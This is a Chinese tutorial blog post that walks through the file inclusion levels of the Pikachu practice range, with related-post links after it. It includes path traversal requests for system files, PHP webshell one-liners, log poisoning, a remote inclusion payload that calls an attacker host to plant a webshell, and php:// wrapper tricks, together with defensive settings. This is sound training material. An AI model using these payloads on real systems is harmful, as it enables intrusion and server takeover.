从零开始:Pikachu靶场文件包含漏洞通关全记录(含避坑指南)

四、pikachu之文件包含 文件包含 阅读详情

从零开始:Pikachu靶场文件包含漏洞通关全记录(含避坑指南)

1. 文件包含漏洞基础认知

第一次接触文件包含漏洞时,我盯着那个简单的下拉菜单看了足足十分钟。这个看似无害的功能,背后竟隐藏着如此巨大的安全隐患。文件包含漏洞的本质,是程序在动态加载文件时,未对用户控制的文件路径进行严格校验,导致攻击者能够读取或执行非预期文件。

核心区分点在于包含范围:

  • 本地文件包含(LFI):仅能操作服务器本地文件
  • 远程文件包含(RFI):可通过URL加载远程服务器文件

PHP中常见的危险函数包括:

include()
require()
include_once() 
require_once()

这些函数的差异主要体现在错误处理上:

  • include遇到错误仅产生警告
  • require会直接终止脚本执行
  • _once后缀确保文件只被包含一次

关键配置项:
allow_url_include=On(允许远程包含)
allow_url_fopen=On(允许访问远程文件)

2. 环境准备与靶场搭建

工欲善其事,必先利其器。在开始实战前,需要准备好以下环境:

  1. PHPStudy集成环境(含Apache+MySQL+PHP)
  2. Pikachu靶场源码(解压至WWW目录)
  3. Burp Suite社区版(用于抓包分析)
  4. 蚁剑或中国菜刀(Webshell管理工具)

常见安装问题排查表:

问题现象可能原因解决方案
访问靶场报500错误PHP版本过高切换至PHP5.4-7.0版本
文件包含功能异常allow_url_include未开启修改php.ini配置
中文乱码字符编码不匹配添加header('Content-Type:text/html;charset=utf-8');

配置完成后,访问http://localhost/pikachu应该能看到如下目录结构:

/vul
  /fileinclude
    fi_local.php
    fi_remote.php
/unsafeupload
  /uploads

3. 本地文件包含实战演练

3.1 基础文件读取

访问fi_local.php页面,发现是一个球星信息展示功能。通过Burp抓包可见请求格式:

GET /vul/fileinclude/fi_local.php?filename=file1.php&submit=提交查询

尝试修改参数进行路径穿越:

GET /vul/fileinclude/fi_local.php?filename=../../../../windows/win.ini%00

注意:%00截断需PHP版本<5.3且magic_quotes_gpc=off

3.2 结合文件上传getshell

  1. 在文件上传页面传马(内容:<?php @eval($_POST['cmd']);?>)
  2. 记住上传路径:/unsafeupload/uploads/shell.php
  3. 构造包含Payload:
GET /vul/fileinclude/fi_local.php?filename=../../../unsafeupload/uploads/shell.php&submit=提交查询

3.3 日志文件包含技巧

当常规方法失效时,可尝试包含Apache日志:

GET /vul/fileinclude/fi_local.php?filename=../../../../logs/access.log

然后在User-Agent中插入PHP代码:

<?php system($_GET['cmd']); ?>

4. 远程文件包含高阶利用

4.1 基本RFI利用

  1. 在公网服务器创建shell.txt:
<?php fputs(fopen("shell.php","w"),'<?php @eval($_POST["x"])?>'); ?>
  1. 构造攻击URL:
GET /vul/fileinclude/fi_remote.php?filename=http://attacker.com/shell.txt&submit=提交查询

4.2 PHP伪协议妙用

当远程包含被禁用时,这些协议可能奏效:

1. php://filter读取源码

GET /vul/fileinclude/fi_local.php?filename=php://filter/convert.base64-encode/resource=fi_local.php

2. data://直接执行代码

POST /vul/fileinclude/fi_local.php?filename=data://text/plain,<?php phpinfo();?>&submit=提交查询

3. expect://命令执行(需安装expect扩展)

GET /vul/fileinclude/fi_local.php?filename=expect://whoami

5. 靶场通关全流程演示

5.1 Pikachu-Local

  1. 常规文件读取:
GET /vul/fileinclude/fi_local.php?filename=file1.php
  1. 敏感文件泄露:
GET /vul/fileinclude/fi_local.php?filename=../../../../etc/passwd
  1. 结合上传getshell(如3.2节)

5.2 Pikachu-Remote

  1. 远程包含创建Webshell:
GET /vul/fileinclude/fi_remote.php?filename=http://yourvps/shell.txt
  1. 使用蚁剑连接:
URL: http://localhost/pikachu/vul/fileinclude/shell.php
密码:x

6. 防御方案与最佳实践

6.1 代码层防护

// 白名单校验
$allowed = ['about.php','contact.php'];
if(!in_array($file, $allowed)){
    die("非法请求!");
}

// 固定后缀
include($_GET['file'].'.html');

// 路径校验
if(strpos($_GET['file'], '../') !== false){
    die("路径非法!");
}

6.2 服务器配置

  1. php.ini关键设置:
allow_url_include = Off
allow_url_fopen = Off
open_basedir = /var/www/html
  1. Web服务器加固:
# Apache配置
<Directory "/var/www">
    php_admin_value open_basedir "/var/www/html"
</Directory>

6.3 运维建议

  • 定期更新PHP版本
  • 设置严格的目录权限
  • 监控包含函数的调用日志
  • 使用WAF拦截../等特殊字符

7. 疑难问题排查指南

Q1:包含文件时报Warning但未执行 A:检查文件权限,确保Web用户有读取权限

Q2:远程包含返回空白页 A:检查服务器出站连接是否被防火墙拦截

Q3:%00截断无效 A:确认PHP版本是否低于5.3,且magic_quotes_gpc=Off

Q4:伪协议不生效 A:检查php.ini中对应协议是否启用,如allow_url_fopen

在真实渗透测试中,文件包含往往需要结合其他漏洞才能发挥最大威力。记得去年在某次授权测试中,就是通过CMS的LFI漏洞读取到数据库配置文件,最终拿下了整个内网权限。这也提醒我们,安全防护必须做到全方位、无死角。

Pikachu靶场之文件包含漏洞详解 Pikachu靶场之文件包含漏洞详解前言文件包含漏洞简述1.漏洞描述2.漏洞原因3.漏洞危害4.如何防御第一关 File Inclusion(local)1.尝试读取"隐藏"文件2.读取不同文件夹文件3.读取系统文件4.结合文件上传getshell第二关 File Inclusion(remote)包含写木马的文件 前言 本篇文章用于巩固对自己文件包含漏洞的学习总结,其中部分内容借鉴了以下博客。 链接: pikachu File Inclusion 文件包含漏洞 (皮卡丘漏洞平台通关系列) 链接: 【 阅读详情

相关推荐

Pikachu靶场之SQL注入、远程代码执行、文件包含漏洞

Pikachu靶场之SQL注入、远程代码执行、文件包含漏洞

Jach1n 1237

Pikachu----文件包含/下载/上传

Pikachu----文件包含/下载/上传

m0_65712192的博客 2297

XSS漏洞:pikachu靶场中的XSS通关

在pikachu靶场中的XSS通关是一种漏洞攻击技术,通过在输入框中注入恶意脚本代码来实现攻击。攻击者可以利用XSS漏洞窃取用户的cookie信息、重定向用户到恶意网站或者篡改网页内容等。在pikachu靶场中,攻击者可以通过输入恶意代码实现跨站脚本攻击,从而获取敏感信息或者控制网页行为。要防范XSS漏洞,网站开发者应该对用户输入进行严格过滤和验证,避免恶意代码的注入。

qq_68163788的博客 2726

文件包含漏洞--pikachu靶场

2.include "include/$filename"---这是23行的内容也是漏洞的成因,因为将用户的get请求中的参数直接无条件的放入include语句去执行。通过下拉菜单选择球星实际是发送不同的get请求回显对应内容,文件包含漏洞的关键是文件包含函数(include/require)身份对参数有严格定义,因此我们是要找到能调用文件包含的php文件。文件包含并不属于漏洞,但是,由于对包含进来的文件不可控,导致了文件包含漏洞的产生。:在包含文件时,如果找不到包含的文件,它只会产生告警,页面的。

嘿嘿嘿 1409

Pikachu靶场之越权漏洞详解

Pikachu靶场之越权漏洞详解前言逻辑越权漏洞简述漏洞描述漏洞原因漏洞分类水平越权垂直越权权限框架缺陷如何防御第一关 水平越权 前言 本篇文章用于巩固对自己文件上传漏洞的学习总结,其中部分内容借鉴了以下博客。 链接: pikachu Unsafe Fileupload 不安全的文件上传(皮卡丘漏洞平台通关系列)) 链接: 逻辑越权漏洞 逻辑越权漏洞简述 漏洞描述 越权访问(Broken Access Control,BAC),指应用在检查授权时存在漏洞,使得攻击者在获得低权限用户账号后,利用一些方式绕

m0_46467017的博客 3857

pikachu靶场 :六、文件包含漏洞

pikachu靶场 :六、文件包含漏洞 概述本地文件包含漏洞远程文件包含漏洞 概述 文件包含,是一个功能。 在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件。 比如 在PHP中,提供了: include(),include_once() require(),require_once() 这些文件包含函数,这些函数在代码设计中被经常使用到...

qq_43233085的博客 1605

pikachu靶场(通关教程-保姆级)(完结)

pikachu靶场通关教程保姆级

Blanks的博客 1万+

Pikachu靶场之不安全的文件下载漏洞详解

Pikachu靶场之不安全的文件下载漏洞详解前言文件包含漏洞简述1.漏洞描述2.漏洞原理3.漏洞危害4.漏洞发现5.如何防御正式闯关代码分析 前言 本篇文章用于巩固对自己文件下载漏洞的学习总结,其中部分内容借鉴了以下博客。 链接: pikachu Unsafe Filedownload 不安全的文件下载 (皮卡丘漏洞平台通关系列)) 文件包含漏洞简述 1.漏洞描述 一些网站由于业务需求,往往需要提供文件查看或文件下载功能,但若对用户查看或下载的文件不做限制,则恶意用户就能够查看或下载任意敏感文件,这就是文

m0_46467017的博客 4288

pikachu靶场搭建教程(官方版)

Pikachu是一个带有漏洞的Web应用系统,在这里包含了常见的web安全漏洞。 如果你是一个Web渗透测试学习人员且正发愁没有合适的靶场进行练习,那么Pikachu可能正合你意

Elite的博客 2万+

Pikachu靶场实战:文件包含漏洞从入门到getshell(附完整操作截图)

本文通过Pikachu靶场详细解析文件包含漏洞的实战利用,从基础概念到getshell操作全覆盖。文章包含本地/远程文件包含漏洞的完整利用链,提供敏感文件读取、结合文件上传getshell等实用技巧,并给出有效的防御方案,是网络安全学习者的实战指南。

h6j7k8l9p0的博客 1001

从零开始搭建Pikachu漏洞靶场

PHPStudy 是一款集成了 Apache、Nginx、MySQL、PHP、phpMyAdmin 等常见服务的本地服务器环境集成软件。它适合于快速搭建、测试 PHP 网站和应用,尤其对初学者或进行小型开发项目非常友好。其最大的特色是易用性和方便性,用户无需复杂的配置即可一键开启本地开发环境。Pikachu是一个著名的Web应用安全测试平台,它模拟了许多真实世界中的Web应用程序漏洞,为安全测试人员提供了一个练习和学习的环境。

weixin_28968525的博客 1064

PIKACHU | PIKACHU 靶场初识

PIKACHU 是一款开源的练习 Web 漏洞的综合靶场,使用 PHP 代码编写而成,它包含了多种常见的 Web 安全漏洞,适合不同水平的用户进行实验和学习。PIKACHU 中包含漏洞类型如下:Burt Force - 暴力破解漏洞XSS - 跨站脚本漏洞CSRF - 跨站请求伪造漏洞SQL Injection - SQL 注入漏洞RCE - 远程命令/代码执行漏洞Files Inclusion - 文件包含漏洞Unsafe file downloads - 不安全的文件下载。

Blue17 の 小窝 3007

番茄(西红柿)叶片病害检测数据集:12k+图像,10类,yolo标注

本文介绍了包含12,250张图像的番茄叶片病害检测数据集,涵盖10种常见病害类型及健康叶片,采用YOLO格式标注。数据集具有三大核心价值:科研层面填补病害样本空白,推动算法创新;产业应用支持精准诊断、早期预警,降低损失20-40%;社会生态方面减少农药使用15-30%,助力绿色农业。该数据集作为AI与农业结合的数字基础设施,适用于计算机视觉项目、科研实验等场景。

m0_73878864的博客 1137

pikachu靶场通关笔记31 文件包含02之远程文件包含

本系列为《pikachu靶场通关笔记》渗透实战,本文通过对文件包含关卡(File Inclusion)源码的代码审计找到产生缺陷的真实原因,讲解远程文件包含关卡的原理并进行渗透实践。

mooyuan的网络安全博客 1496

多目标跟踪中使用trackeval评估dancetrack运行结果

trackeval使用

qq_46144849的博客 1783

电力电子技术文章:ACOT控制模式在Buck变换器中的频率稳定性分析

本文深入分析了ACOT控制模式在Buck变换器中实现频率稳定性的原理与优势。通过对比传统COT模式,阐述了ACOT如何通过自适应调整导通时间,将开关频率锁定在设定值,从而有效应对输入电压与负载变化。文章还探讨了其在轻载DCM模式下的高效与平滑切换特性,并提供了关键的设计考量与实战指南。

cc789的博客 1155

Pikachu 靶场 File Inclusion 通关解析

文件包含漏洞(File Inclusion Vulnerability)是一种常见的网络安全漏洞,它允许攻击者通过恶意构造的输入来包含并执行本不应该被执行的文件。这种漏洞通常存在于Web应用程序中,特别是在使用动态文件包含函数或语句时。文件包含漏洞可以分为两种类型:本地文件包含漏洞和远程文件包含漏洞。1. 本地文件包含漏洞:本地文件包含漏洞发生在应用程序将用户提供的输入作为文件路径进行处理时,攻击者可以通过构造恶意的文件路径来包含并执行本地文件。

Flag少侠的博客 2459

WorldQuant Brain Alpha 生成器

一个自动化工具,通过参数优化和回测来挖掘高质量的量化交易 Alpha 因子,并自动提交符合标准的因子。

weixin_37582383的博客 1万+

文件包含漏洞:pikachu与DVWA靶场中的文件包含漏洞通关

文件包含漏洞是一种常见的Web安全漏洞,攻击者可以通过包含恶意文件来执行任意代码或获取敏感信息。在DVWA靶场中,通过利用文件包含漏洞,可以获取系统文件、敏感信息或者执行恶意代码。pikachu可以通过构造恶意文件路径,利用DVWA中的文件包含漏洞来获取管理员权限或者对系统进行攻击。为了防范文件包含漏洞,开发者应该避免直接包含用户输入的文件,并且对输入进行严格的过滤和验证。通过了解和掌握文件包含漏洞的原理和利用方法,可以帮助提高Web应用程序的安全性。

qq_68163788的博客 2498

Flink实战项目——城市交通实时监控平台

本项目是与公安交通管理综合应用平台、机动车缉查布控系统等对接的,并且基于交通部门现有的数据平台上,进行的数据实时分析项目。

yangwei2048的博客 839

2026年3月GESP真题及题解(C++七级):物流网络

2026年3月GESP真题及题解(C++七级):物流网络

王老师青少年编程 1126

pikachu靶场中的CSRF、SSRF通关

在Pikachu靶场中,CSRF(Cross-Site Request Forgery)和SSRF(Server-Side Request Forgery)是两种常见的Web安全漏洞。CSRF攻击利用用户在已认证的Web应用程序上执行未经意的操作,通过伪装请求来执行恶意操作,例如更改用户密码或发送资金。而SSRF漏洞则允许攻击者从受害服务器上执行请求,可能导致访问内部系统、绕过防火墙或执行其他恶意操作。

qq_68163788的博客 2935

YOLOv8与UNetV2融合:一种面向目标检测与图像分割的混合方法【附核心代码】

我们提出了一种基于YOLOv8和UNetV2相结合的混合架构。该架构利用YOLOv8作为主干进行目标检测,同时在YOLOv8的特征提取过程中,引入UNetV2来进行图像分割任务的增强。在该架构中,YOLOv8负责大范围目标检测和位置预测,而UNetV2则在检测网络的特征图基础上,通过其高效的上下文信息提取和细节恢复能力,进一步优化分割任务。在本文中,我们提出了一种改进YOLOv8的方法,通过引入图像分割网络UNetV2来提高图像分割检测性能。

一键难忘的博客 3526

Pikachu靶场通关

本文总结了多种SQL注入攻击方法与防御措施,主要包括数字型、字符型、搜索型等注入方式,以及文件包含、越权漏洞、敏感信息泄露等安全风险。通过具体案例演示了如何利用联合查询、报错注入、盲注等技术获取数据库信息,并提供了文件上传、目录遍历等漏洞的利用方法。文章还涉及XXE、SSRF、URL重定向等安全威胁,强调了加强输入验证、使用参数化查询等防护措施的重要性,为Web安全防护提供了实践参考。

m0_62908421的博客 1246

科技与伦理的平衡点:人类计算的伦理

科技与伦理的平衡点:人类计算的伦理 关键词 科技与伦理 人类计算 隐私问题 道德决策自动化 公平性与偏见 法律与社会责任 摘要 本

AI天才研究院 1164

文档:亲测可用解决vnc灰屏,黑屏,鼠标大黑叉情况

主要解决vnc-viewer灰屏,黑屏,鼠标大黑叉等现象,详细见文档。

Pikachu靶场漏洞实战:文件包含、命令执行、SSRF、CSRF与越权漏洞深度解析

(1) 选择一个选项,然后提交,发现出现文件包含参数(2) 尝试…/…/…/phpinfo.php,发现不能跳转(3)猜测源码应该是又添加了一个文件夹,所以需要跳转四层文件包含成功(4) 查看源码发现是添加了一个include文件夹。

tengyuehou的博客 1589

Statistics and Machine Learning Toolbox

Statistics and Machine Learning Toolbox(带书签),MATLAB统计学习工具

上一篇: Rider高效调试Unity中的C#与Lua脚本:从配置到实战
下一篇: 【TGRS】LSKF-YOLO++:融合多尺度上下文感知的卫星遥感电力塔检测优化框架
code8
博客等级 码龄17年 65粉丝 1720原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符  | 博主筛选后可见
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值